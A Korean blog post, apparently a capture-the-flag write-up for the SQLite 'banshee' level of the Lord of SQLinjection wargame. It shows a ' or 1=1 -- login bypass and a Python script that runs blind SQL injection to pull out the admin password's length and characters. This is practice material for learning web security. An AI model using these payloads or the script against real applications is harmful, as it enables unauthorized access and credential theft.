이번 문제도 똑같이 sqlite를 해결하는 문제이다.

코드를 자세히 보면 " login success! "를 통해 로그인은 우회하되, 아마도 이 응답을 통해 blind injection을 하겠다는 생각을 1차적으로 먼저 하게 되었다. 일단 pw를 알아야 로그인이 되므로, pw를 한글자씩 알아내야 한다.

가장 기본적인 pw = ' ' or 1=1 --  로 우회를 시도했더니 우회 성공! 

그러면 이제 or 뒤에 조건문과 참/ 거짓을 판별할 수 있는 공격 쿼리를 넣어주자.

처음에 이런식으로 넣어줬다.

( id = 'admin' and pw =' ' ) 거짓  or  (1=1) 참 and  ( length(pw)=5 ) 참?거짓?몰라

일단, 쿼리문에서 and가 or보다 높은 우선순위를 따지므로.. 

만약 length(pw)=5가 참이라면 참 and 참 => 무조건 이 된다. or 뒷부분이 모두 참이므로 거짓 or 참은 결과적으로  이 된다.

하지만, length(pw)=5가 거짓이라면 거짓 and 참 => 무조건 거짓. or 뒷부분이 모두 거짓이므로 거짓 or 거짓은 결과적으로 거짓이 된다.

※ length(pw)=5가 success가 되길래.. 계속 길이가 5인 줄 알고 풀었다가 pw가 맞지 않아 결국 문제가 풀리지 않아서 애를 먹었다.. 그 이유는 조건을 걸어주지 않았기 때문이다. id = admin에 해당하는 pw를 찾는 것이기에 or 뒷 절에도 앞에서 거짓이 된 id = 'admin' 조건을 한번 더 활성화시켜줘야 한다.

어느 정도 공격 쿼리를 짰으니, 빠르게 자동화 코드를 작성한다.

import requests

url ="https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php" #공격URL
cookies ={"PHPSESSID": "?"} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id='admin' and length(pw)={}--".format(len_num) #injection payload
        parmas = {'pw': value}
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "login success!" in response.text:    #응답값 차이 확인
            print("password length : ", len_num)
            break
    return len_num

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            
            value = "' or id='admin' and substr(pw,{},1)='{}' --".format(i,chr(j))           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(chr(j))

            if "login success!" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw += chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


pw_real(pw_len())

위 코드를 작성할 때도 계속 python 에서 사용하는 함수와 쿼리문에서 사용되는 함수에 구분을 하지 못해서 계속 삽질을 했다.. 무의미한 시간 낭비!

길이는 8....

이런 식으로 pw 찾기

성공,!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step39. poltergeist 풀이  (0) 2023.10.19
[LOS] step37. manticore 풀이  (1) 2023.10.18
[LOS] step36. chupacabra 풀이  (1) 2023.10.18
[LOS] step35. cyclops 풀이  (0) 2023.10.18
[LOS] step34. godzilla 풀이  (0) 2023.10.17

+ Recent posts